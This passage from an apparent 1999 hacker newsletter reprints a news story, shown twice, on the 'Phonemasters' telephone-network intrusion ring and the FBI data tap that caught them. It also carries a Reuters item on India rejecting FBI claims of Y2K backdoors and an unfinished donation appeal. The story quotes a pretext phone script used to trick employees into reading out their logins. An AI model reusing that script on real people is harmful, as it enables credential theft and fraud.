     password, he entered a Sprint Corp. computer, where he
     raided a database, copying more than 850 calling-card
     access codes and other files, court records in the case
     show. The Phonemasters often got passwords and other
     key information on companies in a low-tech approach
     called “Dumpster diving,” raiding the trash bins of area
     phone firms for old technical manuals, phone directories and
     other company papers. This often allowed Mr. Cantrell to
     run one of his favorite ruses — passing himself off as a
     company insider.
            “I’d call up and say, ‘Hi, I’m Bill Edwards with
     systems administration.’ ... I’d chat with them for a while,
     then I’d say ‘We’re doing some network checkups today.
     Can you log off of your computer, then tell me every
     character you’re typing as you log back on?’ A lot of
     people fell for that,” Mr. Cantrell says.
            After hacking into the Sprint database that evening, Mr.
     Cantrell talked to another hacker, Corey Lindsley, over the
     phone. He’d “met” Mr. Lindsley, and another hacker, John
     Bosanac, in 1993 while surfing the murky world of hacker
     bulletin boards. Mr. Cantrell then sent the copied files to
     Mr. Lindsley, who was a student at the University of
     Pennsylvania in Philadelphia.
            Mr. Morris’s equipment captured everything — voice
     and data. It was an FBI first. “We’re sitting in this place that
     looked liked a bomb pit, but the atmosphere was really
     exciting,” says Mr. Morris. “We were ecstatic.”
            As the days passed, the FBI wiretap generated stacks
     upon stacks of audiotapes and data transcripts. Some was
     just idle talk among friends, the occasional call to finalize
     dinner plans, lots of workaday chatter. But the incriminating
     evidence mounted. “It’s great, you know. I really love
     fraud,” joked Mr. Bosanac, a Californian who was musing
     with Mr. Cantrell about the various technical methods of
     using other people’s cellular telephone accounts to place
     free calls. “Fraud is a beautiful thing.”
            Family conversations even entered the investigation. On
     Jan. 7, for instance, Mr. Cantrell called his mother from a
     friend’s house and asked her find an MCI Corp. manual on
     his shelf. He then asked her to read him a set of directions
     for accessing MCI’s V-NET computer system. Mrs.
     Cantrell read the material but asked her son whether he was
     supposed to have the book, citing warnings that stated its
     contents were restricted to MCI employees. Mr. Cantrell
     just avoided his mother’s question. The FBI data-tap
     captured every word.
            Still, the process took its toll on the FBI team,
     especially coming during the holidays. “It was stressful that
     the wiretap was going 24 hours a day, seven days a week. I
     had to write up the legal documents and it’s tough making
     people work through Christmas,” Mr. Morris said. On top
     of that, he had to keep records of his findings, and every ten
     days he had to reapply to the court to prove that his wiretap
     was yielding evidence.
            By late January, the FBI had begun to get a clear
     profile of Mr. Cantrell and his hacker friends. Mr. Lindsley,
     it appeared, was the group’s acerbic leader, directing much
     of the hacking activity. Over phone lines, the FBI heard him
     bragging about how he had given a Pennsylvania police
     department “the pager treatment” in retaliation for a
     speeding ticket he received. Mr. Lindsley had caused the
     police department’s telephone number to appear on
     thousands of pagers across the country. The resulting flood
     of incoming calls, Mr. Lindsley bragged, would surely crash
     the department’s phone system.
            They also enjoyed collecting information about film
     stars, musicians and other famous people. Mr. Cantrell has
     admitted that he broke into President Clinton’s mother’s
     telephone billing records in Arkansas to obtain a list of
     unpublished White House numbers. The men, says the FBI,
     even made harassing phone calls to rock star Courtney
     Love and former child actor Danny Bonaduce using pilfered
     numbers.
            They weren’t without fear of getting caught. On the
     evening of Jan. 17, for instance, there was a clicking on the
     phone line as Messrs. Bosanac, Cantrell, and Lindsley
     shared a three-way conference call. “What the hell
     happened?” asked Mr. Bosanac, according to an FBI
     transcript of the conversation.
            “That was the FBI tapping in,” laughed Mr. Cantrell.
            “Do you know how ironic that’s gonna be when they
     play those tapes in court?” Mr. Lindsley said. “When they
     play that tape in court and they got you saying it was the
     FBI tapping in?”
            On Jan. 18, the FBI overheard Messrs. Cantrell,
     Bosanac and Lindsley on another conference call. With the
     other two men giving directions, Mr. Cantrell dialed his
     computer into Southwestern Bell’s network and copied a
     database of unlisted phone numbers. The three men then
     discussed plans to write a computer program that could
     automatically download access codes and calling-card
     numbers from various telephone systems. They also talked
     about the chance that the FBI would one day track them
     down.
            “Just remember, nobody f— rats anybody out,” said
     Mr. Lindsley to the others. “No deals.”
            “Yeah, no deals is right,” replied Mr. Bosanac.
            “No deals. I’m serious. I don’t care what your f—
     lawyers tell you,” said Mr. Lindsley.
            Mr. Cantrell said nothing.
            Later that morning, between 5:09 a.m. and 7:36 a.m.,
     Mr. Cantrell entered Sprint’s computer system and
     downloaded about 850 Sprint calling-card codes. He then
     transferred those codes to a man in Canada. The codes
     would allow anyone who purchased them to place free
     international phone calls. Mr. Morris would later learn that a
     contact in Canada paid Mr. Cantrell $2 apiece for each
     code, court records show. The Phonemasters most likely
     did not know — or care — where the codes ended up, but
     the FBI traced them and found some ended up in the hands
     of a Sicilian Mafia operative in Switzerland.
            On Jan. 23, while probing a U S West telephone
     database, Mr. Cantrell, Mr. Bosanac, Mr. Lindsley and
     others stumbled over a list of telephone lines that were being
     monitored by law enforcement. On a lark, they decided to
     call one of the people — a suspected drug dealer, says Mr.
     Morris — and let him know his pager was being traced by
     the police.
            On Jan. 27, the group was clearly feeling paranoia
     about being caught, prompting Mr. Lindsley to tell his
     accomplices to pull as many Sprint codes as quickly as they
     could. Mr. Cantrell began to have reservations.
            “What if I stopped before all of y’all?” Mr. Cantrell
     asked Mr. Lindsley. “Would you applaud my efforts?”
            “No,” said Mr. Lindsley. “I don’t think there’s any
     reason to stop. What are you worried about?”
            “Uh, I’m not worried about anything. I’m just saying,
     uhm. There might ... There might come a time here where I
     don’t have time for this.”
            He added a little later: “I, you know, really like it. But, I
     don’t know, I just ... Eventually, I don’t see myself doing a
     lot of illegal things.”
            Mr. Lindsley continued to prod Mr. Cantrell to speed
     up the download of stolen codes by spending more time
     online and using two phones.
            “I’m telling you, you run two lines around the clock,”
     Mr. Lindsley said.
            “You can’t run them around the clock,” said Mr.
     Cantrell.
            “Why not?”
            “Oh, come on. I think that’s pushing it too hard.”
            “I think you just got a weak stomach there, boy.”
            By late February, things began to get tense. One of Mr.
     Cantrell’s hacker friends informed him that his number had
     shown up in a database of phone numbers being monitored
     by the FBI. In all the excitement of burglarizing databases
     and rerouting phone calls, the Phonemasters had neglected
     to check their own phone lines for any signs that law
     enforcement might be listening in.
            Mr. Morris hastily arranged for an FBI raid. On Feb.
     22, 1995, agents raided Mr. Cantrell’s home, Mr.
     Lindsley’s college dorm room, and burst into Mr.
     Bosanac’s bedroom in San Diego.
            For Mr. Morris, the climactic raid was only the start of
     a long battle to bring the hackers to justice. Because of the
     complicated nature of his evidence gathering, it took him
     more than two years to compile the most salient portions of
     the wiretap transcripts and data-tap evidence. “All the
     documents and tapes from this case could fill a 20-by-20
     room,” Mr. Morris explains. “And at the time, I was the
     only computer investigator for all of Texas.”
            In the meantime, as federal prosecutors slowly geared
     up for a trial, Mr. Cantrell tried to get on with his life. “I
     spent the first few weeks after the raid being paranoid and
     wondering what would happen,” he says. Occasionally, Mr.
     Morris and other agents would call him, asking questions
     about some of the systems he had hacked. By the summer
     of 1995, at the urging of his mother, Mr. Cantrell started
     attending church again. He scored the first in a string of
     professional computing jobs, doing systems-administration
     work for a company called Lee Datamail in Dallas. He
     neglected to tell his employers about the FBI case. “It’s
     been mental torture for the last four years, not knowing,”
     says Mr. Cantrell. “Can I go to school, move to another
     state? That kind of thing messes with your head.” 


            Over time, Mr. Cantrell says he had come to seriously
     regret what he had done and the $9,000 he says he made
     from selling codes wasn’t worth the trouble. “Looking back,
     it was all crazy. It was an obsession. I wanted to see how
     much I could conquer and a little power went to my head.”
     Mr. Cantrell notes that he has since tried to make amends,
     even helping the phone companies plug their security holes
     and helping the FBI gather more information on some of the
     group’s members who haven’t yet been apprehended.
            The matter finally seemed near conclusion this March
     when Mr. Morris was able to play “a couple of choice
     tapes” in separate meetings with Messrs. Cantrell, Bosanac
     and Lindsley. Afterward, all three agreed to plead guilty to
     federal charges of one count of theft and possession of
     unauthorized calling-card numbers and one count of
     unauthorized access to computer systems. Chief Judge Jerry
     Buchmeyer ordered a presentencing investigation.
            During a hearing on the matter, Mr. Lindsley’s attorney
     tried to argue that the FBI had wildly overstated the $1.85
     million in losses that her client’s hacking had allegedly
     caused. But in the end, Judge Buchmeyer rejected the
     argument and sentenced him to 41 months in prison. Mr.
     Bosanac, in the meantime, has asked that his sentencing
     hearing be moved to San Diego, where he lives.
            As for Mr. Cantrell, Judge Buchmeyer lauded his
     “acceptance of guilt.” He could have been sentenced to
     three years in federal prison; instead he was given two. He
     reports to federal prison in January of next year.
            Mr. Morris, meanwhile, has used his data-tap method
     in several other cases; he also travels around the country
     and the world advising law-enforcement agencies on how to
     conduct state-of-the-art investigations of hacker crimes.
            Copyright © 1999 Dow Jones & Company, Inc.
     All Rights Reserved.
     
     ZDNet;
     
     (Note: this also appeared in last weeks issue -Ed)
     
      --------------------------------------------------------------
      This story was printed from ZDNN,
      located at http://www.zdnet.com/zdnn.
      --------------------------------------------------------------
      
      Unplugged! The biggest hack in history
      By John Simons, WSJ Interactive Edition
      October 1, 1999 8:54 AM PT
      URL: http://www.antionline.com/
      
      DALLAS -- In a federal courtroom here, Calvin Cantrell stands silently, broad shoulders
      slouched. His lawyer reads from a short letter he has written: 
      
      "My parents taught me good ethics, but I have departed from some of these, lost my way
      sometimes," the letter states. "I was 25 and living at home. No job, and no future... . All I ever
      really wanted was to work with computers." 
      
      Cantrell certainly did work with computers -- both his own, and, surreptitiously, those of some of
      the largest companies in the world. He was part of a ring of hackers that pleaded guilty here to the
      most extensive illegal breach of the nation's telecommunications infrastructure in high-tech history. 
      
      And sitting behind him in court as he was sentenced two weeks ago was the
      accountant-turned-detective who caught him: Michael Morris. A decade earlier, Morris, bored
      with accounting work, left a $96,000 job at Price Waterhouse and enrolled in the FBI academy,
      at $24,500 a year. Cantrell's sentencing was the final act in a five-year drama for Morris, and
      secured his reputation as the FBI's leading computer gumshoe. 
      
      The tale of Morris and Cantrell is among the first cops-and-robber stories of the New Economy,
      involving, among other things, the first-ever use of an FBI "data tap." It illustrates how the nation's
      law-enforcement agencies are scrambling to reinvent their profession in a frantic effort to keep
      pace with brilliant and restless young hackers. 
      
      Unlimited potential for harm
      The story also shows that hacking's potential harm is far more ominous than theft of telephone
      credit-card numbers. Cantrell was part of an eleven-member group dubbed "The Phonemasters"
      by the FBI. They were all technically adept twentysomethings expert at manipulating computers
      that route telephone calls. 
      
      The hackers had gained access to telephone networks of companies including AT&T Corp.,
      British Telecommunications Inc., GTE Corp., MCI WorldCom (then MCI Communications
      Corp.), Southwestern Bell, and Sprint Corp. They broke into credit-reporting databases
      belonging to Equifax Inc. and TRW Inc. They entered Nexis/Lexis databases and systems of Dun
      & Bradstreet, court records show. 
      
      The breadth of their monkey-wrenching was staggering; at various times, they could eavesdrop on
      phone calls, compromise secure databases, and redirect communications at will. They had access
      to portions of the national power grid, air-traffic-control systems and had hacked their way into a
      digital cache of unpublished telephone numbers at the White House. The FBI alleges, in evidence
      filed in U.S. District Court for the Northern District of Texas, that the Phonemasters had even
      conspired to break into the FBI's own National Crime Information Center. 
      
      Unlike less-polished hackers, they often worked in stealth, and avoided bragging about their
      exploits. Their ultimate goal was not just fun, but profit. Some of the young men, says the FBI,
      were in the business of selling the credit reports, criminal records, and other data they pilfered
      from databases. Their customers included private investigators, so-called information brokers and
      -- by way of middlemen -- the Sicilian Mafia. According to FBI estimates, the gang accounted for
      about $1.85 million in business losses. 
      
      "They could have -- temporarily at least -- crippled the national phone network. What scares me
      the most is that these guys, if they had had a handler, whether criminal or state-sponsored, could
      have done a lot of damage," says Morris. "They must have felt like cyber gods." 
      
      Some may be still at large
      With the exception of Cantrell, none of the defendants in the Phonemasters case would comment
      on the matter. Others are thought to remain at large. This is the story of Cantrell and two
      accomplices largely put together from federal district court records and FBI interviews. Morris
      first learned of the group in August 1994, when he got a phone call from a Dallas private
      investigator, saying Cantrell had offered to sell him personal data on anyone he wished. He even
      offered a price list: Personal credit reports were $75; state motor-vehicle records, $25; records
      from the FBI's Crime Information Center, $100. On the menu for $500: the address or phone
      number of any "celebrity/important person." 
      
      Morris immediately opened an investigation. Only 33-years-old at the time, he had taken an
      annual pay cut to join the FBI just five years earlier. He had been a tax consultant at Price
      Waterhouse, and despised the work. "I was young and making the big bucks, but every morning I
      would think 'God, I don't want to go to work.' " 
      
      Tall, square-jawed and mustachioed, Morris began working on white-collar crimes when he
      arrived at the Dallas FBI field office. He took on a few hacker cases and realized he liked the
      challenge. "These guys are not the kind who'll rob the convenience store then stare right into the
      security camera," he says. "Trying to be the Sherlock Holmes of the Internet is hard when the
      fingerprints on the window can be so easily erased." 
      
      Morris convinced the private investigator to meet with Cantrell while wearing an audio taping
      device. After reviewing the tapes, he was certain that he was onto something big. He applied for
      and received court authority to place a digital number recorder on Cantrell's phone lines, which
      would log numbers of all outgoing calls. It showed that Cantrell frequently dialed corporate
      telephone numbers for AT&T, GTE, MCI, Southwestern Bell and Sprint. Cantrell had also placed
      calls to two unlisted numbers at the White House, which further piqued Morris's interest. 
      
      So, late that summer, Morris took an unprecedented step. He began writing a 40-page letter to
      the FBI's Washington headquarters, the Department of Justice and the federal district court in
      Dallas. Recording Cantrell -- now his central suspect -- while on the phone wasn't sufficient for
      the job that faced him, he believed. Instead, he needed new federal powers. He asked for
      Washington's permission to intercept the impulses that traveled along Cantrell's phone line as he
      was using his computer and modem. 
      
      "It's one of the hardest techniques to get approved, partly because it's so intrusive," says Morris,
      who spent the next month or so consulting with federal authorities. "The public citizen in me
      appreciates that," he says. Still, the long wait was frustrating. "It took a lot of educating federal
      attorneys," he says. 
      
      Once authorities said yes, Morris faced another obstacle: The equipment he needed didn't exist
      within the FBI. Federal investigators had experimented with a so-called data-intercept device only
      once before in a New York hacker case a year earlier. It had failed miserably. 
      
      Morris and technicians at the FBI's engineering lab in Quantico, Va., worked together to draft the
      specifications for the device Morris wanted. It would need to do the reverse of what a computer's
      modem does. A modem takes digital data from a computer and translates it to analog signals that
      can be sent via phone lines. Morris's device would intercept the analog signals on Cantrell's phone
      line and convert those impulses back to digital signals so the FBI's computers could capture and
      record each of a suspect's keystrokes. 
      
      Alerting the victims
      While waiting for the FBI to fit him with the proper gear, Morris contacted several of the
      telephone companies to alert them that they had been victimized. The reception he got wasn't
      always warm. "It's kind of sad. Some of the companies, when you told them they'd had an
      intrusion, would actually argue with you," he said. 
      
      GTE was an exception. Morris discovered that Bill Oswald, a GTE corporate investigator, had
      opened his own Phonemasters probe. Oswald and Morris began working together and uncovered
      another of Cantrell's schemes: He and some friends had managed to get their hands on some
      telephone numbers for FBI field offices. They entered the telephone system and forwarded some
      of those FBI telephones to phone-sex chat lines in Germany, Moldavia and Hong Kong. As a
      result of the prank, the FBI was billed for about $200,000 in illegal calls. 
      
      Morris also learned that on Oct. 11, 1994, Cantrell hacked GTE's computer telephone "switch" in
      Monticeto, Calif., created a fake telephone number and forwarded calls for that number to a
      sex-chat line in Germany. The FBI isn't sure how Cantrell convinced people to call the number,
      but court records show that Cantrell received a payment of $2,200 from someone in Germany in
      exchange for generating call traffic to the phone-sex service. 
      
      In early December 1994, Morris's "analog data-intercept device" finally arrived from the FBI's
      engineering department. It was a $70,000 prototype that Morris calls "the magic box." 
      
      On Dec. 20, Morris and other agents opened up their surveillance in an unheated warehouse with
      a leaky roof. The location was ideal because it sat between Cantrell's home and the nearest
      telephone central office. Morris and nine other agents took turns overseeing the wiretap and data
      intercepts. The agents often had to pull a tarp over their workspace to keep rain from damaging
      the costly equipment.As middle-class families go, the Cantrells seem exemplary. Calvin's father,
      Roy, was a retired detective who had once been voted "Policeman of the Year" in Grand Prairie,
      the suburb west of Dallas where they live. His mother, Carol, taught Latin and English at Grand
      Prairie High School, where Calvin graduated in 1987 with above-average grades.
      
      As a student, he was no recluse. He had a small circle of friends who shared
      his love of martial arts, video games and spy movies. Cantrell's longtime
      friend, Brandon McWhorter, says Calvin was always a fun-loving guy, but
      there was one thing about which he was very serious. 
      
      "He would always talk to me about religion," McWhorter says. "He held very
      strong religious beliefs." 
      
      After high school, Cantrell continued to live at home while taking classes at
      the University of Texas at Arlington and a local community college. 
      
      He held a series of odd jobs and hired himself out as a deejay for weddings and corporate parties.
      Cantrell balanced, school, work, family and friends even as he began hacking more often. His
      parents became suspicious, but said nothing. The family had three phones; Calvin stayed on his 15
      hours a day. 
      
      "They'd go in my room and see all the notes and the phone numbers. Even though they couldn't
      put it together technically, they knew something was up," says Cantrell. "They were kind of in
      denial... . My parents were pretty soft." 
      
      Mrs. Cantrell says Calvin had been so well-behaved that she never suspected his computer
      activities were more than fun and games. "I wish I had known what was going on. Unfortunately,
      my son was smarter than I was." (Calvin's father passed away last year.) 
      
      The hack
      At 8:45 on the night of Dec. 21, just four days before Christmas, Cantrell went online. Using an
      ill-gotten password, he entered a Sprint computer, where he raided a database, copying more
      than 850 calling-card access codes and other files, court records in the case show.
      
      The Phonemasters often got passwords and other key information on companies in a low-tech
      approach called "Dumpster diving," raiding the trash bins of area phone firms for old technical
      manuals, phone directories and other company papers. This often allowed Cantrell to run one of
      his favorite ruses -- passing himself off as a company insider. 
      
      "I'd call up and say, 'Hi, I'm Bill Edwards with systems administration.' ... I'd chat with them for a
      while, then I'd say 'We're doing some network checkups today. Can you log off of your
      computer, then tell me every character you're typing as you log back on?' A lot of people fell for
      that," Cantrell says. 
      
                      After hacking into the Sprint database that evening, Cantrell talked to another
                      hacker, Corey Lindsley, over the phone. He'd "met" Lindsley, and another
                      hacker, John Bosanac, in 1993 while surfing the murky world of hacker
                      bulletin boards. Cantrell then sent the copied files to Lindsley, who was a
                      student at the University of Pennsylvania in Philadelphia. 
      
                      Morris's equipment captured everything -- voice and data. It was an FBI
                      first. "We're sitting in this place that looked liked a bomb pit, but the
                      atmosphere was really exciting," says Morris. "We were ecstatic." 
      
                      As the days passed, the FBI wiretap generated stacks upon stacks of
                      audiotapes and data transcripts. Some was just idle talk among friends, the
                      occasional call to finalize dinner plans, lots of workaday chatter. But the
                      incriminating evidence mounted. "It's great, you know. I really love fraud,"
                      joked Bosanac, a Californian who was musing with Cantrell about the various
      technical methods of using other people's cellular telephone accounts to place free calls. "Fraud is
      a beautiful thing." 
      
      Family conversations even entered the investigation. On Jan. 7, for instance, Cantrell called his
      mother from a friend's house and asked her find an MCI manual on his shelf. He then asked her to
      read him a set of directions for accessing MCI's V-NET computer system. Mrs. Cantrell read the
      material but asked her son whether he was supposed to have the book, citing warnings that stated
      its contents were restricted to MCI employees. Cantrell just avoided his mother's question. The
      FBI data-tap captured every word. 
      
      Taking a toll
      Still, the process took its toll on the FBI team, especially coming during the holidays. "It was
      stressful that the wiretap was going 24 hours a day, seven days a week. I had to write up the legal
      documents, and it's tough making people work through Christmas," Morris said. On top of that, he
      had to keep records of his findings, and every 10 days he had to reapply to the court to prove that
      his wiretap was yielding evidence. 
      
      By late January, the FBI had begun to get a clear profile of Cantrell and his hacker friends.
      Lindsley, it appeared, was the group's acerbic leader, directing much of the hacking activity. Over
      phone lines, the FBI heard him bragging about how he had given a Pennsylvania police department
      "the pager treatment" in retaliation for a speeding ticket he received. Lindsley had caused the
      police department's telephone number to appear on thousands of pagers across the country. The
      resulting flood of incoming calls, Lindsley bragged, would surely crash the department's phone
      system. 
      
      They also enjoyed collecting information about film stars, musicians and other famous people.
      Cantrell has admitted that he broke into President Clinton's mother's telephone billing records in
      Arkansas to obtain a list of unpublished White House numbers. The men, says the FBI, even
      made harassing phone calls to rock star Courtney Love and former child actor Danny Bonaduce
      using pilfered numbers. 
      
      They weren't without fear of getting caught. On the evening of Jan. 17, for instance, there was a
      clicking on the phone line as Bosanac, Cantrell, and Lindsley shared a three-way conference call.
      "What the hell happened?" asked Bosanac, according to an FBI transcript of the conversation. 
      
      "That was the FBI tapping in," laughed Cantrell. 
      
      "Do you know how ironic that's gonna be when they play those tapes in court?" Lindsley said.
      "When they play that tape in court and they got you saying it was the FBI tapping in?"On Jan. 18,
      the FBI overheard Cantrell, Bosanac and Lindsley on another conference call. With the other two
      men giving directions, Cantrell dialed his computer into Southwestern Bell's network and copied a
      database of unlisted phone numbers. The three men then discussed plans to write a computer
      program that could automatically download access codes and calling-card numbers from various
      telephone systems. They also talked about the chance that the FBI would one day track them
      down. 
      
      "Just remember, nobody f-- rats anybody out," said Lindsley to the others. "No deals." 
      
      "Yeah, no deals is right," replied Bosanac. 
      
      "No deals. I'm serious. I don't care what your f-- lawyers tell you," said Lindsley. 
      
      Cantrell said nothing. 
      
      Transferred codes to Canada
      Later that morning, between 5:09 and 7:36, Cantrell entered Sprint's computer system and
      downloaded about 850 Sprint calling-card codes. He then transferred those codes to a man in
      Canada. The codes would allow anyone who purchased them to place free international phone
      calls. Morris would later learn that a contact in Canada paid Cantrell $2 apiece for each code,
      court records show. The Phonemasters most likely did not know -- or care -- where the codes
      ended up, but the FBI traced them and found some ended up in the hands of a Sicilian Mafia
      operative in Switzerland.
      
      On Jan. 23, while probing a U S West telephone database, Cantrell, Bosanac, Lindsley and
      others stumbled over a list of telephone lines that were being monitored by law enforcement. On a
      lark, they decided to call one of the people -- a suspected drug dealer, says Morris -- and let him
      know his pager was being traced by the police. 
      
      On Jan. 27, the group was clearly feeling paranoia about being caught, prompting Lindsley to tell
      his accomplices to pull as many Sprint codes as quickly as they could. Cantrell began to have
      reservations. 
      
      "What if I stopped before all of y'all?" Cantrell asked Lindsley. "Would you applaud my efforts?" 
      
      "No," said Lindsley. "I don't think there's any reason to stop. What are you worried about?" 
      
      "Uh, I'm not worried about anything. I'm just saying, uhm. There might ... there might come a time
      here where I don't have time for this." 
      
      He added a little later: "I, you know, really like it. But, I don't know, I just ... Eventually, I don't
      see myself doing a lot of illegal things." 
      
      Lindsley continued to prod Cantrell to speed up the download of stolen codes by spending more
      time online and using two phones. 
      
      "I'm telling you, you run two lines around the clock," Lindsley said. 
      
      "You can't run them around the clock," said Cantrell. 
      
      "Why not?" 
      
      "Oh, come on. I think that's pushing it too hard." 
      
      "I think you just got a weak stomach there, boy." 
      
      Tension rises
      By late February, things began to get tense. One of Cantrell's hacker friends informed him that his
      number had shown up in a database of phone numbers being monitored by the FBI. In all the
      excitement of burglarizing databases and rerouting phone calls, the Phonemasters had neglected to
      check their own phone lines for any signs that law enforcement might be listening in. 
      
      Morris hastily arranged for an FBI raid. On Feb. 22, 1995, agents raided
      Cantrell's home, Lindsley's college dorm room, and burst into Bosanac's
      bedroom in San Diego. 
      
      For Morris, the climactic raid was only the start of a long battle to bring the
      hackers to justice. Because of the complicated nature of his evidence
      gathering, it took him more than two years to compile the most salient
      portions of the wiretap transcripts and data-tap evidence. "All the documents
      and tapes from this case could fill a 20-by-20 room," Morris explains. "And
      at the time, I was the only computer investigator for all of Texas." 
      
      In the meantime, as federal prosecutors slowly geared up for a trial, Cantrell
      tried to get on with his life. "I spent the first few weeks after the raid being
      paranoid and wondering what would happen," he says. Occasionally, Morris
      and other agents would call him, asking questions about some of the systems
      he had hacked. By the summer of 1995, at the urging of his mother, Cantrell started attending
      church again. He scored the first in a string of professional computing jobs, doing
      systems-administration work for a company called Lee Datamail in Dallas. He neglected to tell his
      employers about the FBI case. "It's been mental torture for the last four years, not knowing," says
      Cantrell. "Can I go to school, move to another state? That kind of thing messes with your head." 
      
      Over time, Cantrell says he had come to seriously regret what he had done and the $9,000 he
      says he made from selling codes wasn't worth the trouble. "Looking back, it was all crazy. It was
      an obsession. I wanted to see how much I could conquer and a little power went to my head."
      Cantrell notes that he has since tried to make amends, even helping the phone companies plug
      their security holes and helping the FBI gather more information on some of the group's members
      who haven't yet been apprehended. 
      
      The matter finally seemed near conclusion this March when Morris was able to play "a couple of
      choice tapes" in separate meetings with Cantrell, Bosanac and Lindsley. Afterward, all three
      agreed to plea guilty to federal charges of one count of theft and possession of unauthorized
      calling-card numbers and one count of unauthorized access to computer systems. Chief Judge
      Jerry Buchmeyer ordered a presentencing investigation. 
      
      During a hearing on the matter, Lindsley's attorney tried to argue that the FBI had wildly
      overstated the $1.85 million in losses that her client's hacking had allegedly caused. But in the end,
      Judge Buchmeyer rejected the argument and sentenced him to 41 months in prison. Bosanac, in
      the meantime, has asked that his sentencing hearing be moved to San Diego, where he lives. 
      
      As for Cantrell, Judge Buchmeyer lauded his "acceptance of guilt." He could have been sentenced
      to three years in federal prison; instead he was given two. He reports to federal prison in January
      of next year. 
      
      Morris, meanwhile, has used his data-tap method in several other cases; he also travels around the
      country and the world advising law-enforcement agencies on how to conduct state-of-the-art
      investigations of hacker crimes. 
     
      
      @HWA
                                  
05.0  India Objects to Comments From Vatis 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
      
      From HNN http://www.hackernews.com 

      contributed by seano 
      Indian officials have strongly objected to comments
      made by Michael Vatis, head of the National
      Infrastructure Protection Center (NIPC). Vatis indicated
      that Y2K code fixes by Indian programers may be riddled
      with back doors and logic bombs. The chairman of the
      Indian government's Y2K Action Force called the
      statements 'utterly ridiculous'. 

      Reuters - Via ABC News  
      http://www.abcnews.go.com/wire/US/reuters19991001_638.html
      
      WIRE:10/01/1999 04:45:00 ET
      India Slams U.S. Talk On
      Y2K-Linked Security Fears
        

                    NEW DELHI (Reuters) - Indian officials
                   Friday slammed as  ridiculous a
                   suggestion by U.S. officials that Indian
                   Y2K (Year  2000) software firms could
                   have been used to smuggle in computer
                    codes aimed at threatening Washington's
                   security.  

                   Michael Vatis, the top cyber cop in the
      Federal Bureau of  Investigation (FBI), told Reuters
      Thursday that malicious code  changes under the guise of
      Y2K modifications had begun to  surface in some U.S.
      work undertaken by foreign contractors.  

      The claim signaled possible economic and security threats.
       

      Vatis, who heads the National Infrastructure Protection
       Center (NIPC), gave no details. But Terrill Maynard, a
      Central  Intelligence Agency officer assigned to the NIPC,
      said in a  recent article that India and Israel appeared to
      be the "most  likely sources" of malicious code.  

      The article appeared in the June issue of Infrastructure
       Protection Digest.  

      "I think this is an utterly ridiculous assertion...without,  as
      far as I can see, any basis whatsoever," said Montek
      Singh  Ahluwalia, chairman of the Indian government's
      Y2K Action Force.  

      "I have no idea if this report is factually correct and if
       indeed a responsible officer has made what appears to be
      an  irresponsible statement," Ahluwalia told Reuters.  

      He said the Indian government had not received any
      official  communication to suggest wrongdoing by Indian
      firms or agencies.  

      The CIA declined to comment on Maynard's article.
      Referring  to it, Vatis said: "This is our effort to put out in
      the public  information that hopefully can be useful to
      people."  

      Indian firms have done more than $2 billion worth of
      coding  work to protect old computers whose date-fields
      denoted years  only by the last two digits. Unless rectified,
      such computers  can cause valuable data crashes when
      the year 2000 dawns.  

      India and Israel have had differences with the United
      States  on security matters, particularly on nuclear policy.  

      "TOO MUCH AT STAKE"  

      Dewang Mehta, president of India's National Association
      of  Software and Service Companies (NASSCOM),
      cited several reasons  to dismiss suggestions Indian firms
      may be a security threat.  

      He told Reuters that too much was at stake for India's
       booming software companies, which have used Y2K as a
      strategy to  gain long-term clients. Besides, Indian firms
      did the bulk of  Y2K work at U.S. sites under client
      supervision, he added.  

      "We cannot visualize that any moles have been planted.
      This  is absurd. For us, too much is at stake," Mehta said.
       

      He said Indian firms had also carried out "regression
       testing," which was aimed at ensuring Y2K programming
      work did  not hamper other software in client systems.  

      Vatis said it was "quite easy" for an outsider to code in
       ways of gaining future access or causing something to
       "detonate" down the road.  

      This could expose a company to future "denial of service
       attacks," open it to economic espionage or leave it
      vulnerable  to malicious altering of data, he said.  

      Vatis said that so far "not a great deal" of Y2K-related
       tampering had turned up. But a U.S. Senate panel said
      last week  that long-term consequences of using foreign
      firms for Y2K work  could include more espionage and
      reduced information security.  

      Mehta said he heard during a recent visit to Israel a rumor
       about a computer virus designed to wipe out Y2K
      solutions.  

      "I am afraid as only three months are left and many
       American systems are not compliant, this kind of global
       rumor-mongering is beginning to happen," he said. We all
      think  we should guard ourselves against it. NASSCOM
      strongly condemns  such rumors."  

      Maynard noted Ireland, Pakistan and the Philippines
      among  nations whose firms did significant Y2K repair.
      He said they  were "least likely" to harm U.S. systems but
      did not rule out  threat possibilities. 

      Copyright ©1999 ABC News Internet Ventures. All rights reserved. This
      material may not be published, broadcast, rewritten or redistributed in
      any form. Please click here for legal restrictions and terms of use
      applicable to this site. Use of this site signifies your agreement to the
      terms of use.
      
      @HWA


06.0  Bill Cheek Diagnosed with Cancer Still Faces Charges
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com


      Stolen from Strong Signals 
      Bill Cheek, editor of the "Experimenters Workshop"
      column in Monitoring Times and author of a series of
      books on scanner modifications was just diagnosed with
      incurable lung cancer at the end of September. If
      treatment is not begun aggressively and rapidly, doctors
      give him about 3-4 months. Charges brought against him
      in a New York federal court last spring -- related to his
      scanner business -- are currently being heard before
      the Grand Jury. Though always a controversial figure,
      there is no disputing the fact that Bill has devoted his
      life to the love of radio and technology. 

      Strong Signals
      http://www.strongsignals.net/htm/newsflsh.htm#100199
      
      Bill Cheek Update

                                                      October 1, 1999

                                         Thanks to Larry Van Horn for the following details! 

     An appeal to Monitoring Times readers and friends of Bill Cheek: 

     Bill Cheek, editor of the "Experimenters Workshop" column in Monitoring Times and author of a series of books on scanner
     modifications was just diagnosed with incurable lung cancer at the end of September. If treatment is not begun aggressively and rapidly,
     doctors give him about 3-4 months. 

     Bill says, "research on lung cancers is ever on-going ... My doctor said that even a year ago, my case would not have been treatable at
     all. Now they can offer me a 4-6 months extension." The problem is, Bill does not have medical insurance. He is self-employed at
     Comtronics and has two daughters in college. Furthermore, charges brought against him in a New York federal court last spring -- related
     to his scanner business -- are currently being heard before the Grand Jury. 

     Bill intends to fight the cancer, but he could use your help. Bill welcomes your prayers on behalf of him and his family. If you have
     knowledge or feedback on the latest cancer research and developments, Bill would appreciate hearing from you. Expressions of concern
     are welcome, but he'll have little energy for personal replies. 

     You can also help with your contributions. A trust fund has been set up by friends and family to which you may contribute toward medical
     expenses. Here are the details: 

     Contributions for Bill Cheek can be made through Union Bank of CA. Checks can be made out to either: 
